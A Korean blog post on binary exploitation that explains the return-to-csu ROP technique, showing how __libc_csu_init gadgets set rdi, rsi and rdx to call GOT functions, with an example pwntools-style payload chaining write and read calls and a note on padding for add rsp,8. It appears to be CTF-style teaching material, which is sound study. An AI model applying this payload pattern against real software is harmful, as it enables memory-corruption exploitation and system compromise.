Return to csu
-특별하게 사용할 수 있는 Gadget이 없는 경우 __libc_csu_init()이라는 함수를 이용하면
함수를 호출 할 수 있게 인자를 설정을 할 수 있다.
[__libc_csu_init()]
이 사진을 보면 두가지 파트로 나누어진 것을 알 수 있다.
Exploit을 하기 위해서는 loc_400876부분에 있는 pop rbx 부분으로 rip를 지정을 해준다.
그 후 값을 지정을 하면 pop rbx,rbp,r12,r13,r14,r15를 하게 될 것이다.
r13,r14,r15d에는 함수에 사용할 인자를 넣어주고
r12에는 사용하고 싶은 함수의 got를 넣어주어야 한다.(※r12에 plt의 주소를 넣으면 실행이 안됨.)
이후 retn값에 loc_400860의 값을 넣어준다.
그러면 r13,r14,r15d에 있는 값이 rdx,rsi,edi으로 이동이 되면서 함수를 이용을 할 수 있는
인자가 준비 되는 것이다.
그 이후 call부분을 보면 [r12+rbx*8]을 호출을 해준다.
만약 rbx에 0 이외에 다른 값을 넣어주면 call이 이상한곳으로 될 것이다.
.
.
.
이후 cmp,jnz를 이용해서 chain을 이어갈 수도 있다.
예시 Payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
payload = ''
payload += "A"*0x40 + "B"*8
payload += p64(init)
payload += p64(0) #RBX
payload += p64(1) #RBP
payload += p64(e.got['write']) #R12
payload += p64(8) #RDX
payload += p64(e.got['write']) #RSI
payload += p64(1) #RDI
payload += p64(0x400860) #RET
payload += "B"*8
payload += p64(0) #RBX
payload += p64(1) #RBP
payload += p64(e.got['read']) #R12
payload += p64(len(binsh)) #RDX
payload += p64(bss) #RSI
payload += p64(0) #RDI
payload += p64(0x400860) #RET
|
처음에 chain을 시도 했을때
chain이 제대로 되지 않았다.그 이유를 __libc_csu_init의 loc_400876 부분을 보고 깨달았다.
확인을 해보면 add rsp,8를 해주게 되는데...
이것 때문에 8칸씩 밀려서 제대로 된 값이 들어가지 않았던 오류가 있었다.
그러므로 chain을 이용을 할 것이면 계속해서 dummy를 넣어주어야 한다.
'SYSTEM HACKING > 기법' 카테고리의 다른 글
Leak Stack Address (0) | 2021.05.02 |
---|---|
Windows Universal Shellcode - 이론 (1) | 2021.04.02 |
[How2Heap] House of Force (0) | 2018.03.08 |
[How2Heap] House of Spirit (0) | 2018.02.01 |
[How2Heap] Fastbin dup into Stack (0) | 2018.01.28 |